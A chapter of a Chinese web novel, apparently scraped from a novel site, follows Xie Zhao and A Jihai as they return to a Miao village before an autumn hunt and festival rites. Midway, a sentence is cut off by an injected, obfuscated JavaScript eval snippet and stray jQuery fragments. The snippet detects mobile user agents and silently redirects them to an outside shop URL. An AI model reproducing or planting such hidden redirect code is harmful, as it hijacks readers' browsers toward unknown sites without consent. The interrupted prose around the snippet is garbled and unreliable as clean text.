文趣网 > 其他小说 > 路边的姑娘能捡吗 > 68.返程
    悬雾城这雨一连下了两日,第三日晨起便放晴了,秋猎祭神的日子也近了。谢昭立在窗前,院子海棠被洗得发亮,叶尖上还挂着水珠子,滴里搭拉地往下坠。

    阿霁海在身后收拾行装,他把两把鹿角刀用软布裹了,妥帖地放进箱笼,又将谢昭那件没上身的苗衣叠好,压在衣裳堆里。

    “先回寨子。”他一边理着东西一边道:“秋猎祭神的日子定在初七,得提前回去。”

    “提前?”

    “嗯。”阿霁海回过头来看她,“祭神之前,有三日的规矩。前三日,寨子里的人要日日焚香沐浴,吃素持斋,不得沾荤腥,不得行房事。”

    他话音顿了顿,耳根便先红了,慌忙转过头去继续理箱子,只留给谢昭一个泛红的后颈。

    谢昭没有接话,唇边却添了几分笑意。

    两骑并辔出了悬雾城。

    秋日的山间比前些时日更沉了些。梯田里的稻子已经开始收割,一茬一茬的,露出底下褐色的泥土。阳光铺下来,把田埂上的稻草垛照得金灿灿的。

    一路上,时不时有背着竹篓的苗人从山道上下来,见了阿霁海,都远远地停下来行个礼。

    “圣子回来了。”

    “圣子。”

    阿霁海一一颔首,银铃声在山风里叮叮当当地响着。

    大家在见过阿霁海之后,目光总要不经意地往谢昭这边转一下,然后彼此交换一个意味深长的眼神,低头笑上两声,便背着竹篓走了。

    有几回,是一个阿妈带着个年轻阿姐,那阿姐看她的眼神,几乎是毫不掩饰的打量。从头看到脚,又从脚看到头,末了嘴角一翘,凑到阿妈耳边说了句什么,那阿妈便也笑了,还抬手在阿姐背上轻轻拍了一下。

    走了大半日,远远地望见了两道山梁,山梁之间的谷地里,层层叠叠地摞着吊脚楼。

    谢昭才进了寨子的门,便觉出一股子热闹来。

    往日里清清爽爽的石板路上,如今人来人往,挤挤挨挨。

    寨子里多了好些陌生的面孔,生脸汉子挑着担子往寨子中央去,担子两头是码得整整齐齐的米酒坛,阿姐背的篓子里装着新摘的瓜果菜蔬。

    这些人身上的衣裳样式各异,有的绣着层层叠叠的蝴蝶纹,有的缀着繁复的银片,一看便知各寨各有各的讲究。

    “人竟这般多?”谢昭问。

    阿霁海把缰绳交给迎上来的寨中青壮,他一边往寨子里走,一边同谢昭说:“祭神是大日子。秋猎三日,寨与寨之间比箭、赛马、摔跤,赢了的有彩头。三日后祭神,祭完便摆流水席,跳月,闹到天亮。”

    “这回来的,光是各寨的猎手,少说也有两百号人。加上来观礼、来探亲的,前后算下来,怕是有千把口人扎在寨子里。”

    谢昭环顾四周,这才明白为何这两日寨子像是凭空长了一半。

    寨子中央的坝子上已经搭起了几十顶竹棚,棚下摆着矮桌竹凳,有苗人在灶前忙活,蒸汽腾腾地往上冒,混着米酒、腌肉、炭火的味道,漫了满寨子。

    几个阿姐正把一捆捆的芦笙从屋里搬出来,一字排开,晾在日头底下。再往里去,鼓楼上挂着的铜鼓被人抬了下来,正用一块软布一遍一遍地擦着,擦得那暗红的鼓身泛出了一层沉厚的光。

    “圣子回来了。”

    一声沙哑的嗓音从身后传来,谢昭回头,见一个佝偻的身影拄着拐杖,一瘸一拐地从鼓楼里走出来。

    “纳叔。”阿霁海迎上去。

    纳叔看了看他,又看了看谢昭,那双浑浊的老眼里头转了转,便笑开了。

    “回来了就好。”纳叔点头,又往谢昭身上扫了两眼,“阿榜也回来了。”

    纳叔把阿霁海拉到一边,压低声音说了几句。

    谢昭没听清,只看见阿霁海一边听一边点头,末了耳根又红了一回。

    纳叔说完了,又拍了拍他的肩膀,道:“回屋收拾收拾,焚香沐浴的日子,今日就算头一日。老规矩,不能破。”

    “知道了。”

    两人往寨子深处走。谢昭的屋子还是从前那一间,隔壁依旧是阿霁海的住处。

    两间屋子都被人细细打扫过了。竹榻上的旧席子换成了新的,窗台上摆着一小把野花,还是新鲜的。谢昭一进门便闻见一股淡淡的香气,是山里的哪种草木。

    她还没坐下,门便被推开了。

    进来的是阿依,身后还跟着几个相熟的阿姐。

    阿依笑得一脸灿烂,手里端着个竹盘,盘里是几块新蒸的糕,“刚出锅的,给你尝尝。”

    谢昭接过来谢了,几个阿姐却不急着走,围着她,上上下下地看,一边看一边叽叽咕咕地说话,说着说着便笑作一团。

    谢昭面对几位姐姐的调侃,脸上虽有几分薄薄桃色,却是坦荡的一一化开了那些揶揄。

    阿依瞪了那几个阿姐一眼,转而对谢昭道:“你瘦了。”

    “是吗。”

    “嗯。”阿依点头,又补充道:但你气色倒是好了许多。”

    几个阿姐笑得更响了,其中一个年纪稍长的,抬手在阿依肩上拍了一下。

    谢昭把糕分给她们,几个人也不客气,接过去边吃边笑。

    吃过糕,阿依又拉着她说了好一会儿话,说的多是些寨子里的琐事。谁家添了娃,谁家的羊下了崽,今年雨水好,稻子收成不错之类。

    说到后来,阿依像是想起了什么,忽然拉住谢昭的手,眼睛亮亮地望着她,声音格外轻软。

    阿依见谢昭被说的有些发懵,便又笑了笑,不再多说,只拉着她的手,轻轻捏了捏。

    送走了阿依和几个阿姐,谢昭独自坐在屋里,把那几件被翻动过的衣裳重新叠好。

    “阿妹——”

    门外传来阿霁海的声音。

    “嗯?”

    “出来,带你去看热闹。”

    谢昭走出去,见阿霁海已经换了一身干净衣裳,头发也重新梳过,站在门口冲她笑。

    两人往坝子上走。

    人愈发多了起来,几个寨子来的猎手蹲在坝子边上擦弓箭,把箭镞一支支地摆在石头上磨。有一队人刚从山里回来,肩上扛着两头打来的黄麂,一路招摇过市,惹得路旁的娃娃们跟着跑。

    阿霁海走过来的是一个又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17973726|206840||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个。

    有各寨的寨老,同他寒暄,说些客套话。有相熟的猎手邀他比箭,还有些不认识的后生,也凑过来同他行礼,说的话各不相同,可那道目光却都似有若无地往谢昭身上飘。

    谢昭便觉着,自己像被架在了什么台子上,人人都要看一眼。

    傍晚时分,寨子里便点起了火把,把整个寨子照得亮堂堂的。人声鼎沸,一直闹到月上中天,才渐渐低下去。

    阿霁海领着谢昭回屋,转身便要走,走了两步却又回转身来。

    “阿妹。”

    “嗯?”

    “明日——”他顿了顿,像是把什么话咽了回去,“明日若是有人同你说什么,你别搭理。”

    “什么人?说什么?”

    “没什么。”阿霁海摆了摆手,也不看她,“睡吧。”

    他说完便快步走了,银铃声在夜风里一路响远了。

    谢昭立在门口,看着他的背影消失在夜色里,又回头看了看自己的屋子。

    窗台上那几枝野花,在月光底下静静地开着。

    她走过去,在花枝上轻轻碰了一下,有露水沁在指尖,凉丝丝的。

    这一夜,寨子底下那条翁摆江的水声,都比往日响了些。

    第二日一早,廊下今日挂了一盏别的东西,是阿霁海不知从何处取来的香,一束一束地悬在廊柱上,风一过,便飘出淡淡的烟气。

    谢昭沿着石板路往寨子中央走。

    远远地,便看到坝子上比昨日还热闹,昨夜才搭好的竹棚下,一早就支起了长案,案上摆着各色祭品。有位寨老正一样一样地往案上摆着糯米、米酒、清水,还有几只崭新的竹编蝶笼。

    几个阿妈围在一口大锅前,锅里咕嘟咕嘟地煮着药材,热气腾腾的,煮的是浴汤。药香顺着晨风飘得满寨子都是,混着一点说不上名字的草木清苦,闻着便让人觉出些肃穆来。

    铜鼓声又沉沉地响了三下。

    一个苍老的声音从鼓楼里传出来,谢昭抬头看去,黎姜一手拄着乌木拐杖,一手拎着旱烟杆,立在鼓楼前的石阶上,正同几个寨老说着什么。

    黎姜的声音沙哑而沉稳,“焚香沐浴,戒荤腥,戒争执,戒嘈杂。各寨的人若是守不住规矩,便不必参加祭神。”

    “守得住的,跟纳叔去江边,用江水洗了,再来点香。”

    周围的寨老一口应下。

    谢昭立在人群外头,正看着,身后有人唤她。

    回头一看,是阿霁海。

    他已经洗过了,头发还半湿着,随意披在肩上。他手里端着一只竹碗,碗里是煮好的药材浴汤,递到她面前。

    “该你了。”

    谢昭接过竹碗,低头闻了闻,一股清苦的药香。

    “这个做什么用?”

    “净身。”阿霁海道:“浴汤煮好了,兑了水,你拿去屋里,从头到脚洗一遍,换身干净的衣裳,再来点香。”

    “洗了便算净了?”

    “嗯。”阿霁海点头,他今日的神情比往常肃了些,连那股子黏糊的劲都收了。

    谢昭也没多问,端着竹碗回屋去了。